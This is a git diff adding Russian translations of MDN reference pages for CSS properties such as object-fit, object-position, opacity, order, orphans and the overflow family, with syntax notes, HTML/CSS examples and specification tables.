{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.01.0 (1.0)5.0{{CompatVersionUnknown}}1.0 (85)
Научное обозначение43.02911{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Научное обозначение{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ +
    +
  • {{cssxref("<integer>")}}
    • +
diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html new file mode 100644 index 0000000000..098d5875e3 --- /dev/null +++ b/files/ru/web/css/object-fit/index.html @@ -0,0 +1,162 @@ +--- +title: object-fit +slug: Web/CSS/object-fit +tags: + - CSS + - CSS Property + - object-fit +translation_of: Web/CSS/object-fit +--- +
{{CSSRef}}
+ +

Свойство object-fit определяет, как содержимое заменяемого элемента, такого как <img> или <video>, должно заполнять контейнер относительно его высоты и ширины.

+ +

{{EmbedInteractiveExample("pages/css/object-fit.html")}}

+ +

Синтаксис

+ +

Для object-fit можно указать одно из нижеперечисленных свойств.

+ +

Значения

+ +
+
fill
+
Смещаемый контент меняет свой размер таким образом, чтобы заполнить всю область внутри блока: используется вся ширина и высота блока.
+
contain
+
Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определен как "помещенный внутрь" блока, ограничиваясь его шириной и высотой.
+
cover
+
Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определен как "покрытие" блока, ограничиваясь его шириной и высотой.
+
none
+
Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определен с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.
+
+ +
+
scale-down
+
Контент изменяет размер, сравнивая разницу между none и contain, для того, чтобы найти наименьший конкретный размер объекта.
+
+ +

Правильный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML Контент

+ +
<div>
+  <h2>object-fit: fill</h2>
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill"/>
+
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill narrow"/>
+
+  <h2>object-fit: contain</h2>
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain"/>
+
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain narrow"/>
+
+  <h2>object-fit: cover</h2>
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover"/>
+
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover narrow"/>
+
+  <h2>object-fit: none</h2>
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none"/>
+
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none narrow"/>
+
+  <h2>object-fit: scale-down</h2>
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down"/>
+
+  <img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down narrow"/>
+
+</div>
+ +

CSS Контент

+ +
h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+
+ +

Результат

+ +

{{ EmbedLiveSample('Example', 500, 450) }}

+ +

Технические параметры

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}{{Spec2('CSS4 Images')}}Добавлены ключевые слова from-image и flip
{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}{{Spec2('CSS3 Images')}}Первоначальное определение
+ +

{{cssinfo}}

+ +

Браузерная совместимость

+ +

{{Compat("css.properties.object-fit")}}

+ +

Смотри также

+ +
    +
  • Другие свойства CSS, связанные с изображениями (картинками): {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.
    • +
  • {{cssxref("background-size")}}
    • +
diff --git a/files/ru/web/css/object-position/index.html b/files/ru/web/css/object-position/index.html new file mode 100644 index 0000000000..4b4bf53fff --- /dev/null +++ b/files/ru/web/css/object-position/index.html @@ -0,0 +1,116 @@ +--- +title: object-position +slug: Web/CSS/object-position +translation_of: Web/CSS/object-position +--- +
{{CSSRef}}
+ +

CSS-свойство object-position определяет выравнивание контента выбранного замещаемого элемента внутри блока элемента. На областях блока, не покрытых объектом замещаемого элемента, будет отображаться фон элемента.

+ +

Вы можете задавать способ подстройки собственного размера объекта замещаемого элемента (т. е., его естественного размера) под размер блока элемента, используя свойство {{cssxref("object-fit")}}.

+ +
{{EmbedInteractiveExample("pages/css/object-position.html")}}
+ + + +

Синтаксис

+ +
/* значения <position> */
+object-position: center top;
+object-position: 100px 50px;
+
+/* Глобальные значения */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+
+ +

Значения

+ +
+
{{cssxref("<position>")}}
+
От одного до четырёх значений, которые определяют 2D-позицию элемента. Могут использоваться как абсолютные, так и относительные значения сдвигов.
+
+ +
+

Примечание: Позиция может быть даже такой, что замещаемый элемент будет отрисовываться за пределами своего блока.

+
+ +

Формальное определение

+ +

{{cssinfo}}

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Позиционирование изображений

+ +

HTML

+ +

Здесь мы видим HTML, содержаний два {{HTMLElement("img")}}-элемента, отображающие логотипы MDN.

+ +
<img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/>
+<img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/>
+
+ +

CSS

+ +

CSS содержит стандартные стили для самого <img>-элемента, а также отдельные стили для обоих изображений.

+ +
img {
+  width: 300px;
+  height: 250px;
+  border: 1px solid black;
+  background-color: silver;
+  margin-right: 1em;
+  object-fit: none;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 100% 10%;
+}
+
+ +

Первое изображение расположено с отступом в 10 пикселей относительно левого края блока элемента. Второе изображение расположено своим правым краем впритык к правому краю блока элемента и сдвинуто вниз на 10% высоты блока элемента.

+ +

Результат

+ +

{{ EmbedLiveSample('Позиционирование_изображений', '100%','600px') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСостояниеКомментарий
{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}{{Spec2('CSS3 Images')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.object-position")}}

+ +

Смотрите также

+ +
    +
  • Другие CSS-свойства, связанные с изображениями: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.
    • +
diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html new file mode 100644 index 0000000000..5d0891baac --- /dev/null +++ b/files/ru/web/css/opacity/index.html @@ -0,0 +1,154 @@ +--- +title: opacity +slug: Web/CSS/opacity +tags: + - CSS + - CSS свойство + - Opacity + - Непрозрачность + - Прозрачность +translation_of: Web/CSS/opacity +--- +
{{CSSRef}}
+ +

CSS-свойство opacity устанавливает непрозрачность элемента. Непрозрачность - это степень, в которой содержимое скрывается за элементом, является противоположностью прозрачности.

+ +
{{EmbedInteractiveExample("pages/css/opacity.html")}}
+ + + +

opacity применяется к элементу в целом, включая его содержимое, даже если значение не наследуется дочерними элементами. Таким образом, элемент и его потомки имеют одинаковую непрозрачность относительно фона элемента, даже если они имеют различную непрозрачность относительно друг друга.

+ +

Использование opacity со значением, отличным от 1, помещает элемент в новый контекст наложения.

+ +

Если вы  не хотите применять opacity к дочерним элементам, используйте взамен свойство {{cssxref("background")}}. Например:

+ +
background: rgba(0, 0, 0, 0.4);
+ +

Синтаксис

+ +

Значения

+ +
+
<alpha-value>
+
{{cssxref("number", "число")}} в пределах от 0.0 до 1.0, включительно, или {{cssxref("percentage", "проценты")}} в пределах от 0% до 100%, включительно, представляет непрозрачность канала (т.е. значение его альфа-канала). Любое значение вне интервала, хотя и является валидным, округляется до ближайшего предела в диапазоне. + + + + + + + + + + + + + + + + + + + +
ЗначениеДействие
0Элемент полностью прозрачен (он становится невидимым).
Любое {{cssxref("number", "число")}} строго между 0 и 1Элемент полупрозрачный (т.е. содержимое элемента можно увидеть).
1 (значение по умолчанию)Элемент полностью непрозрачный (видимый).
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Базовый пример

+ +
div { background-color: yellow; }
+.light {
+  opacity: 0.2; /* Едва видимый текст на фоне */
+}
+.medium {
+  opacity: 0.5; /* Видимость текста более четкая на фоне */
+}
+.heavy {
+  opacity: 0.9; /* Видимость текста очень четкая на фоне */
+}
+
+ +
<div class="light">You can barely see this.</div>
+<div class="medium">This is easier to see.</div>
+<div class="heavy">This is very easy to see.</div>
+
+ +

{{EmbedLiveSample('Базовый_пример', '640', '64')}}

+ +

Различная непрозрачность с :hover

+ +
img.opacity {
+  opacity: 1;
+  filter: alpha(opacity=100); /* IE8 и ниже */
+  zoom: 1; /* Триггеры "hasLayout" в IE 7 и ниже */
+}
+
+img.opacity:hover {
+  opacity: 0.5;
+  filter: alpha(opacity=50);
+  zoom: 1;
+}
+ +
<img src="//developer.mozilla.org/static/img/opengraph-logo.png"
+  alt="MDN logo" width="128" height="146"
+  class="opacity">
+
+ +

{{EmbedLiveSample('Различная_непрозрачность_с_hover', '150', '175')}}

+ +

Проблемы доступности

+ +

Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещен текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.

+ +

Коэффициент цветовой контрастности определяется путем сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим Рекомендациям по доступности веб-контента (WCAG), для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и жирный или крупнее, или 24px или выше.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}{{Spec2('CSS3 Transitions')}}Определяет opacity как анимированную.
{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}{{Spec2('CSS3 Colors')}}Первоначальное определение
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.opacity")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html new file mode 100644 index 0000000000..8ee0382c91 --- /dev/null +++ b/files/ru/web/css/order/index.html @@ -0,0 +1,98 @@ +--- +title: order +slug: Web/CSS/order +tags: + - CSS + - CSS Flexible Boxes + - CSS свойства +translation_of: Web/CSS/order +--- +
{{CSSRef}}
+ +

CSS свойство  order определяет порядок, используемый для размещения flex элементов в их flex контейнере. Элементы располагаются в восходящем порядке по значению order. Элементы с одинаковым значением order  располагаются в том порядке, в каком они находятся в исходном коде.

+ +
{{EmbedInteractiveExample("pages/css/order.html")}}
+ + + +

Синтаксис

+ +
/* Числовые значения, в том числе отрицательные */
+order: 5;
+order: -5;
+
+/* Глобальные значения */
+order: inherit;
+order: initial;
+order: unset;
+ +
+

Важно: order воздействует только на визуальный порядок элементов, но не логический порядок или табуляцию. order не должен применяться к невизуальным медиаданным, таким как речь.

+
+ +

Посмотрите Используем CSS flexible boxes для более подробной информации и дополнительных свойствах.

+ +

Значения

+ +
+
<integer>
+
Представляет порядковую группу, которая присвоена flex элементу.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Имеется базовый отрывок HTML кода:

+ +
<header>...</header>
+<main>
+  <article>Article</article>
+  <nav>Nav</nav>
+  <aside>Aside</aside>
+</main>
+<footer>...</footer>
+ +

Следующий CSS код должен создать классический блок контента окруженный боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.

+ +
main { display: flex;  text-align:center; }
+main > article { flex:1;        order: 2; }
+main > nav     { width: 200px;  order: 1; }
+main > aside   { width: 200px;  order: 3; }
+ +

Результат

+ +

{{ EmbedLiveSample('Example') }}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}{{Spec2('CSS3 Flexbox')}}Начальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.order")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html new file mode 100644 index 0000000000..89b79dc9d2 --- /dev/null +++ b/files/ru/web/css/orphans/index.html @@ -0,0 +1,117 @@ +--- +title: orphans +slug: Web/CSS/orphans +tags: + - Верстка + - печать + - разрыв страницы + - фрагментация +translation_of: Web/CSS/orphans +--- +
{{CSSRef}}
+ +

Свойство CSS orphans устанавливает минимальное число строк в блочном контейнере, которое должно быть показано внизу страницы, региона или столбца.

+ +
/* <integer> значения */
+orphans: 2;
+orphans: 3;
+
+/* Глобальные значения */
+orphans: inherit;
+orphans: initial;
+orphans: unset;
+ +
+

В типографии, orphan это первая линия абзаца, которая отображается внизу страницы. (Абзац продолжается на следующей странице.)

+
+ +

{{cssinfo}}

+ +

 

+ +

Синтаксис

+ +

Значения

+ +
+
{{cssxref("<integer>")}}
+
Минимальное число строк, которое можно оставить внизу фрагмента перед разрывом фрагмента. Значение должно быть положительным.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<div>
+  <p>This is the first paragraph containing some text.</p>
+  <p>This is the second paragraph containing some more text than the first one. It is used to demonstrate how widows work.</p>
+  <p>This is the third paragraph. It has a little bit more text than the first one.</p>
+</div>
+ +

CSS

+ +
div {
+  background-color: #8cffa0;
+  height: 150px;
+  columns: 3;
+  orphans: 3;
+}
+
+p {
+  background-color: #8ca0ff;
+}
+
+p:first-child {
+  margin-top: 0;
+}
+ +
 
+ +

Результат

+ +

{{EmbedLiveSample("Example", 380, 150)}}

+ +
 
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Fragmentation', '#widows-orphans', 'orphans')}}{{Spec2('CSS3 Fragmentation')}}Расширяет orphans для применения в любых фрагментах, включая страницы, регионы и столбцы.
{{SpecName('CSS2.1', 'page.html#break-inside', 'orphans')}}{{Spec2('CSS2.1')}}Первое определение.
+ +

Поддержка браузерами

+ +
+ + +

{{Compat("css.properties.orphans")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html new file mode 100644 index 0000000000..863222d28f --- /dev/null +++ b/files/ru/web/css/overflow-block/index.html @@ -0,0 +1,135 @@ +--- +title: overflow-block +slug: Web/CSS/overflow-block +translation_of: Web/CSS/overflow-block +--- +
{{CSSRef}}
+ +

CSS свойство overflow-block устанавливает, что будет отображаться, когда содержимое переполняет начальные и конечные края блока. Это может быть ничего, полоса прокрутки или содержимое переполнения.

+ +
+

Свойтсво overflow-block отображается на {{Cssxref("overflow-y")}} или {{Cssxref("overflow-x")}} в зависимости от режима записи документа.

+
+ +

Синтаксис

+ +
/* Значения свойства */
+overflow-block: visible;
+overflow-block: hidden;
+overflow-block: scroll;
+overflow-block: auto;
+
+/* Глобальные значения */
+overflow-block: inherit;
+overflow-block: initial;
+overflow-block: unset;
+
+ +

Свойство overflow-block указывается как одно ключевое слово, выбранное из списка значений ниже.

+ +

Значения

+ +
+
visible
+
Содержимое не обрезается и может отображаться за пределами начального и конечного краев блока отступа.
+
hidden
+
При необходимости содержимое обрезается, чтобы соответствовать размеру блока в поле заполнения. Полосы прокрутки отсутствуют.
+
scroll
+
При необходимости содержимое обрезается, чтобы поместиться в размер блока в поле заполнения. Браузеры отображают полосы прокрутки вне зависимости от того, вырезано ли содержимое. (Это предотвращает появление или исчезновение полос прокрутки при изменении содержимого.) Принтеры могут по-прежнему печатать переполненное содержимое.
+
auto
+
Зависит от пользовательского агента. Если содержимое помещается в поле дополнения, оно выглядит так же, как visible, но все же устанавливает новый контекст форматирования блока. Настольные браузеры устанавливают полосы прокрутки, если содержимое переполняется.
+
+ +

Формат синтаксиса

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<ul>
+  <li><code>overflow-block:hidden</code> — скрывает текст за пределами поля
+  <div id="div1">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    </div>
+  </li>
+
+  <li><code>overflow-block:scroll</code> — всегда добавляет полосу прокрутки
+  <div id="div2">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    </div>
+  </li>
+
+  <li><code>overflow-block:visible</code> — отображает текст вне поля, если это необходимо
+  <div id="div3">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    </div>
+  </li>
+
+  <li><code>overflow-block:auto</code> — в большинстве браузеров, что эквивалентно <code>scroll</code>
+  <div id="div4">
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    </div>
+  </li>
+</ul>
+
+
+ +

CSS

+ +
#div1,
+#div2,
+#div3,
+#div4 {
+  border: 1px solid black;
+  width:  250px;
+  height: 100px;
+}
+
+#div1 { overflow-block: hidden; margin-bottom: 12px;}
+#div2 { overflow-block: scroll; margin-bottom: 12px;}
+#div3 { overflow-block: visible; margin-bottom: 120px;}
+#div4 { overflow-block: auto; margin-bottom: 120px;}
+
+ +

Результат

+ +
+

{{EmbedLiveSample("Examples", "100%", "780")}}

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Overflow', '#propdef-overflow-block', 'overflow-block') }}{{ Spec2('CSS3 Overflow') }}
+ +
{{cssinfo}}
+ +

Совместимость браузера

+ + + +

{{Compat("css.properties.overflow-block")}}

+ +

Смотрите также

+ +
    +
  • Связанные свойства CSS: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow")}}, {{Cssxref("overflow-inline")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}
    • +
  • Логические свойства CSS
    • +
  • Режимы письма
    • +
diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html new file mode 100644 index 0000000000..7250663fe6 --- /dev/null +++ b/files/ru/web/css/overflow-wrap/index.html @@ -0,0 +1,147 @@ +--- +title: overflow-wrap +slug: Web/CSS/overflow-wrap +translation_of: Web/CSS/overflow-wrap +--- +
{{CSSRef}}
+ +

CSS свойство overflow-wrap применяется к строковым элементам, устанавливая должен ли браузер расставлять переносы строк внутри неразрывной строки, чтобы избежать выхода текста за границы элемента.

+ +
{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}
+ + + +
+

Note: В отличие от {{cssxref("word-break")}}, overflow-wrap создает перенос только, если целое слово не может быть размещено на своей линии без переполнения

+
+ +

Изначально свойство word-wrap не было стандартом, хотя и было реализовано большинством браузеров. Впоследствии оно было переименовано в overflow-wrap c алиасом word-wrap.

+ +

Syntax

+ +
/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+overflow-wrap: anywhere;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+
+ +

Свойство overflow-wrap задается с помощью ключевого слова и выбирается из списка значений приведенных ниже:

+ +

Values

+ +
+
normal
+
Разрыв строк происходит согласно обычным правилам разрыва (такими как пробел между двумя словами).
+
anywhere
+
Чтобы избежать выхода текста за границы элемента, таких как длинных слов или URL, неразрывная строка символов может быть разбита в любой точке, если в строке нет других допустимых точек разрыва. Тире не вставляется. Возможность мягкого переноса, представленная разрывом слов, рассматривается, когда вычисляется минимальный контент внутренних размеров.
+
break-word
+
Так же как и со значением anywhere, слова, которые обычно нельзя перенести по слогам, могут быть разбиты в произвольных точках, если нет других допустимых разрывов в строке, но возможность мягкого переноса, представленная разрывом слов не рассматривается, когда вычисляется минимальный контент внутренних размеров.
+
+ +

Formal definition

+ +

{{cssinfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

Сравнение overflow-wrap, word-break, и hyphens

+ +

Этот пример сравнивает результаты применения overflow-wrap, word-break, и hyphens, когда разбивается длинное слово.

+ +

HTML

+ +
<p>They say the fishing is excellent at
+  Lake <em class="normal">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>normal</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="ow-anywhere">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>overflow-wrap: anywhere</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="ow-break-word">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>overflow-wrap: break-word</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="word-break">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>word-break</code>)</p>
+<p>They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, without <code>lang</code> attribute)</p>
+<p lang="en">They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, English rules)</p>
+<p class="hyphens" lang="de">They say the fishing is excellent at
+  Lake <em class="hyphens">Chargoggagoggmanchauggagoggchaubunagungamaugg</em>,
+  though I've never been there myself. (<code>hyphens</code>, German rules)</p>
+
+ +

CSS

+ +
p {
+   width: 13em;
+   margin: 2px;
+   background: gold;
+}
+
+.ow-anywhere {
+   overflow-wrap: anywhere;
+}
+
+.ow-break-word {
+   overflow-wrap: break-word;
+}
+
+.word-break {
+   word-break: break-all;
+}
+
+.hyphens {
+   hyphens: auto;
+}
+
+ +

Result

+ +

{{ EmbedLiveSample('Comparing_overflow-wrap_word-break_and_hyphens', '100%', 260) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.overflow-wrap")}}

+ +

See also

+ +
    +
  • {{cssxref("word-break")}}
    • +
  • {{cssxref("hyphens")}}
    • +
  • {{cssxref("text-overflow")}}
    • +
diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html new file mode 100644 index 0000000000..e8977b7592 --- /dev/null +++ b/files/ru/web/css/overflow/index.html @@ -0,0 +1,134 @@ +--- +title: overflow +slug: Web/CSS/overflow +translation_of: Web/CSS/overflow +--- +
{{ CSSRef() }}
+ +

Резюме

+ +

Свойство CSS overflow определяет, необходимо ли для переполненного блочного элемента содержимое обрезать, предоставить полосы прокрутки или просто отобразить.

+ +

Использование свойства overflow со значениями, отличными от visible, (значение, принятое по умолчанию), создаёт новый блочный контекст форматирования. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута scrollTop для соответствующего HTML-элемента, даже если overflow имеет значение hidden, элемент, возможно, придется прокрутить.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
Формат синтаксиса: {{csssyntax("overflow")}}
+ +
overflow: visible
+overflow: hidden
+overflow: scroll
+overflow: auto
+
+overflow: inherit
+
+ +

Значения

+ +
+
visible
+
По умолчанию. Содержимое не обрезается, может отображаться снаружи блока, в котором оно расположено.
+
hidden
+
Контет обрезается, без предоставления прокрутки.
+
scroll
+
Содержимое обрезается и браузер использует элементы прокрутки, не важно было ли обрезано содержимое или нет. Это избегает многих проблем касательно появления прокруток и их исчезновения в динамичной среде. Принтеры могу печатать переполненное содержимое.
+
auto
+
Зависит от агента пользователя. Браузеры такие как Firefox предоставляют прокрутку, если содержимое переполняет блок.
+
+ +

Расширения Mozilla

+ +
+
-moz-scrollbars-none {{ obsolete_inline() }}
+
Используйте overflow:hidden.
+
-moz-scrollbars-horizontal {{ Deprecated_inline() }}
+
Использование {{ Cssxref("overflow-x") }} и {{ Cssxref("overflow-y") }} предпочтительнее.
+
-moz-scrollbars-vertical {{ Deprecated_inline() }}
+
Использование {{ Cssxref("overflow-x") }} и {{ Cssxref("overflow-y") }} предпочтительнее.
+
-moz-hidden-unscrollable {{ non-standard_inline() }}
+
Главным образом предназначен для внутреннего использования и для тем. Отключает прокрутку XML root элементов и <html>, <body> клавишами со стрелками и колесом мыши.
+
+ +

Примеры

+ +
p {
+     width: 12em;
+     height: 6em;
+     border: dotted;
+     overflow: visible; /* содержимое не обрезается */
+}
+
+ +

visible (default)
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: hidden; /* полосы прокрутки не предоставляются */ }
+
+ +

overflow: hidden
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: scroll; /* всегда показывать полосы прокрутки */ }
+
+ +

overflow: scroll
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +
p { overflow: auto; /* добавить полосы прокрутки, если это необходимо */ }
+
+ +

overflow: auto
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.

+ +

Спецификации

+ +

 

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}{{Spec2('CSS3 Overflow')}} +

Changed syntax to allow one or two keywords instead of only one

+
{{SpecName('CSS3 Box', '#propdef-overflow', 'overflow')}}{{Spec2('CSS3 Box')}}Без изменений
{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

Совместимость браузера

+ +

{{Compat("css.properties.overflow")}} 

+ +

Firefox (Gecko) Примечания

+ +

Из-за Firefox 3.6 (Gecko 1.9.2), свойство overflow неверно применяется к элементам table-group (<thead> , <tbody> , <tfoot>). Это поведение будет исправлено в следующих версиях.

+ +

Internet Explorer Примечания

+ +

Internet Explorer 4 - 6 увеличивает элемент с overflow:visible (значение по умолчанию), чтобы заполнить содержимое в нём. height/width действуют подобно min-height/min-width.

+ +

Смотрите также

+ +
    +
  • Связанные свойства CSS: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("overflow-inline")}}, {{Cssxref("overflow-block")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}
    • +
diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html new file mode 100644 index 0000000000..c182cd7ee0 --- /dev/null +++ b/files/ru/web/css/overscroll-behavior/index.html @@ -0,0 +1,107 @@ +--- +title: overscroll-behavior +slug: Web/CSS/overscroll-behavior +tags: + - CSS +translation_of: Web/CSS/overscroll-behavior +--- +
{{CSSRef}}
+ +

